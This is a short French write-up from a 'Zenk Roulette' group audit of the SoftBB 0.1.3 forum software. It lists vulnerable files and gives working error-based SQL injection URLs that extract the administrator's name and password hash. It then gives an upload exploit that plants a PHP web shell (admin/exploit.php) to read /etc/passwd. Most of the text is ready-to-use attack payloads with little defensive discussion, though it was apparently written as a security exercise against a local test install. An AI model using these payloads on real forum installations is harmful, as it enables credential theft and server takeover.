Zenk Roulette 4 : SoftBB 0.1.3

Date : le dimanche 16 août 2010 de 20h à 01h00.

Application auditée : SoftBB 0.1.3 : http://www.softbb.net

Description : Il s'agit d'un forum très léger.

Pad : http://piratepad.net/dlkZwSHTPz


Défauts de sécurité :

De nombreux défauts de sécurité ont été identifiés. Certains sont exploitables en tant que simple visiteur (enregistré ou non) du site et d'autres ne sont accessibles qu'à une personne ayant les droits d'administrateur.

http://localhost/softbb/index.php?page[]=reg
redir_last_post_list.php - ligne 12 et 16
addmembre.php - lignes 47 et 51
moveto.php - ligne 156
post.php, delgroupe.php, delpost.php, delforum.php

Solution retenue :

Le nom de l'administrateur

http://localhost/softbb/redir_last_post_list.php?post=1 AND (ExtractValue(1,CONCAT(0x5c,(SELECT(pseudo)FROM(softbb_membres)WHERE id=1))))

Les 31 premiers caractères du hash du mot de passe de l'administrateur

http://localhost/softbb/redir_last_post_list.php?post=1 AND (ExtractValue(1,CONCAT(0x5c,(SELECT(mdp)FROM(softbb_membres)WHERE id=1))))

Le 32ème caractère du hash du mot de passe de l'administrateur

http://localhost/softbb/redir_last_post_list.php?post=1 AND (ExtractValue(1,CONCAT(0x5c,(SELECT(SUBSTR(mdp,32,32))FROM(softbb_membres)WHERE id=1))))
#*#*#*#*#*# I N F O S #*#*#*#*#*#
#*#*# NOM du mod : exploit
#*#*# AUTEUR : Zenk-Security
#*#*# DESCRIPTION : Exploitation de la faille d'upload
#*#*# DEPENDANCE1 : 
#*#*# DEPENDANCE2 : 
#*#*# VERSION : 1
#*#*#*#*#*# E X E C U T I O N #*#*#*#*#*#
#*#*# DEBUT ETAPE 1 #*#*#
    ##=> AJOUTER FICHIER:
<?php system("cat /etc/passwd"); ?>
    ##=> NOM:
admin/exploit.php
#*#*# FIN ETAPE 1 #*#*#